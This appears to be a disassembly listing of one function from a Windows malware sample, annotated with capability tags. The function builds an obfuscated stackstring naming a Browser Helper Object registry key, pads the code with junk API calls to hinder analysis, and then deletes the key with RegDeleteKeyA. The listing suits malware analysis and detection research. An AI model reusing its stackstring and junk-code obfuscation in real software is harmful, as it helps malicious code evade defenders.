Function at 0x10003edf
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Get common file path
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x4d0]
sub esp, 0x538
mov eax, dword [0x100271c0]
xor eax, ebp
mov dword [ebp + 0x4cc], eax
push ebx
push esi
push edi
push 0x1002154c
mov byte [ebp + 0xcc], 0x53
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongA]
push 0x40e
push 0x1dec
call ebx
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x50]
push eax
mov byte [ebp + 0xcd], 0x4f
mov byte [ebp + 0xce], 0x46
mov byte [ebp + 0xcf], 0x54
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x3c]
push eax
push 0x104
mov byte [ebp + 0xd0], 0x57
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [sym.imp.USER32.dll_GetCursor]
mov byte [ebp + 0xd1], 0x41
call edi
mov byte [ebp + 0xd2], 0x52
mov byte [ebp + 0xd3], 0x45
mov byte [ebp + 0xd4], 0x5c
call edi
mov byte [ebp + 0xd5], 0x4d
mov byte [ebp + 0xd6], 0x69
mov byte [ebp + 0xd7], 0x63
mov byte [ebp + 0xd8], 0x72
mov byte [ebp + 0xd9], 0x6f
call edi
push 0x40a
push 0x19a2
mov byte [ebp + 0xda], 0x73
call ebx
push 0xa95
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov byte [ebp + 0xdb], 0x6f
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0x11f
lea eax, [ebp - 0x58]
push eax
mov byte [ebp + 0xdc], 0x66
mov byte [ebp + 0xdd], 0x74
mov byte [ebp + 0xde], 0x5c
mov byte [ebp + 0xdf], 0x57
call esi
push 0x11e
lea eax, [ebp - 0x58]
push eax
call esi
lea eax, [ebp - 0x3c]
push eax
push 0x104
mov byte [ebp + 0xe0], 0x69
mov byte [ebp + 0xe1], 0x6e
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x2eb2
mov byte [ebp + 0xe2], 0x64
call dword [sym.imp.USER32.dll_GetDC]
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp + 0xe3], 0x6f
mov byte [ebp + 0xe4], 0x77
call edi
lea eax, [ebp - 0x3c]
push eax
push 0x104
mov byte [ebp + 0xe5], 0x73
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov byte [ebp + 0xe6], 0x5c
mov byte [ebp + 0xe7], 0x43
call edi
mov byte [ebp + 0xe8], 0x75
mov byte [ebp + 0xe9], 0x72
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x12d
lea eax, [ebp - 0x64]
push eax
mov byte [ebp + 0xea], 0x72
mov byte [ebp + 0xeb], 0x65
mov byte [ebp + 0xec], 0x6e
call esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x5c]
push eax
mov byte [ebp + 0xed], 0x74
mov byte [ebp + 0xee], 0x56
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp + 0xef], 0x65
mov byte [ebp + 0xf0], 0x72
call edi
push 0x2628
mov byte [ebp + 0xf1], 0x73
mov byte [ebp + 0xf2], 0x69
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x4fb
mov byte [ebp + 0xf3], 0x6f
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x29b
mov byte [ebp + 0xf4], 0x6e
call dword [sym.imp.USER32.dll_GetDC]
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x50]
push eax
mov byte [ebp + 0xf5], 0x5c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x102
lea eax, [ebp - 0x3c]
push eax
call esi
push 0x125
lea eax, [ebp - 0x5c]
push eax
mov byte [ebp + 0xf6], 0x45
call esi
lea eax, [ebp - 0x3c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.kvpzbixmqzdfjqf
mov byte [ebp + 0xf7], 0x78
mov byte [ebp + 0xf8], 0x70
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x120
lea eax, [ebp - 0x58]
push eax
mov byte [ebp + 0xf9], 0x6c
mov byte [ebp + 0xfa], 0x6f
call esi
push 0x196c
mov byte [ebp + 0xfb], 0x72
mov byte [ebp + 0xfc], 0x65
call dword [sym.imp.USER32.dll_GetDC]
lea eax, [ebp - 0x3c]
push eax
push 0x104
mov byte [ebp + 0xfd], 0x72
mov byte [ebp + 0xfe], 0x5c
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x2cb2
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x126
lea eax, [ebp - 0x60]
push eax
mov byte [ebp + 0xff], 0x42
mov byte [ebp + 0x100], 0x72
mov byte [ebp + 0x101], 0x6f
mov byte [ebp + 0x102], 0x77
call esi
mov byte [ebp + 0x103], 0x73
push str.tjnlfigtge
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
mov byte [ebp + 0x104], 0x65
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x403
push 0x523
mov byte [ebp + 0x105], 0x72
call ebx
push 0x428
push 0x2566
mov byte [ebp + 0x106], 0x20
mov byte [ebp + 0x107], 0x48
mov byte [ebp + 0x108], 0x65
call ebx
lea eax, [ebp - 0x3c]
push eax
push 0x104
mov byte [ebp + 0x109], 0x6c
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x1b3c
mov byte [ebp + 0x10a], 0x70
mov byte [ebp + 0x10b], 0x65
call dword [sym.imp.USER32.dll_GetDC]
mov byte [ebp + 0x10c], 0x72
mov byte [ebp + 0x10d], 0x20
call edi
push 0x767
mov byte [ebp + 0x10e], 0x4f
call dword [sym.imp.USER32.dll_GetDC]
push 0x12c
lea eax, [ebp - 0x64]
push eax
call esi
mov byte [ebp + 0x10f], 0x62
mov byte [ebp + 0x110], 0x6a
mov byte [ebp + 0x111], 0x65
call edi
mov byte [ebp + 0x112], 0x63
call edi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
mov byte [ebp + 0x113], 0x74
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x405
push 0x1ea4
mov byte [ebp + 0x114], 0x73
mov byte [ebp + 0x115], 0x5c
call ebx
push 0x40f
push 0x260c
mov byte [ebp + 0x116], 0x7b
call ebx
push 0x410
push 0x953
mov byte [ebp + 0x117], 0x30
mov byte [ebp + 0x118], 0x43
call ebx
push 0x103
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp + 0x119], 0x42
call esi
push str.wjeh
mov byte [ebp + 0x11a], 0x36
call dword [sym.imp.KERNEL32.dll_FindAtomA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x5c]
push eax
mov byte [ebp + 0x11b], 0x36
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x68]
mov byte [ebp + 0x11c], 0x42
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x114
lea eax, [ebp - 0x4c]
push eax
mov byte [ebp + 0x11d], 0x41
call esi
push 0x1d68
mov byte [ebp + 0x11e], 0x38
mov byte [ebp + 0x11f], 0x2d
mov byte [ebp + 0x120], 0x35
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x401
push 0xcdb
mov byte [ebp + 0x121], 0x45
call ebx
push 0x426
push 0x2694
mov byte [ebp + 0x122], 0x31
mov byte [ebp + 0x123], 0x46
mov byte [ebp + 0x124], 0x2d
mov byte [ebp + 0x125], 0x34
mov byte [ebp + 0x126], 0x39
mov byte [ebp + 0x127], 0x36
call ebx
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x38]
push eax
mov byte [ebp + 0x128], 0x33
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x403
push 0x1c1
mov byte [ebp + 0x129], 0x2d
mov byte [ebp + 0x12a], 0x39
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp + 0x12b], 0x33
mov byte [ebp + 0x12c], 0x44
mov byte [ebp + 0x12d], 0x31
call ebx
mov byte [ebp + 0x12e], 0x2d
call ebx
mov byte [ebp + 0x12f], 0x45
call edi
mov edi, 0x104
push edi
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp + 0x130], 0x31
call esi
push 0x118
lea eax, [ebp - 0x50]
push eax
mov byte [ebp + 0x131], 0x44
call esi
mov byte [ebp + 0x132], 0x36
mov byte [ebp + 0x133], 0x42
mov byte [ebp + 0x134], 0x37
mov byte [ebp + 0x135], 0x38
call ebx
push 0x11c
lea eax, [ebp - 0x54]
push eax
mov byte [ebp + 0x136], 0x46
call esi
lea eax, [ebp - 0x3c]
push eax
push edi
mov byte [ebp + 0x137], 0x45
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp + 0xcc]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp + 0x138], 0x39
mov byte [ebp + 0x139], 0x41
mov byte [ebp + 0x13a], 0x32
mov byte [ebp + 0x13b], 0x7d
mov byte [ebp + 0x13c], 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp + 0x4cc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010fcb
add ebp, 0x4d0
leave
ret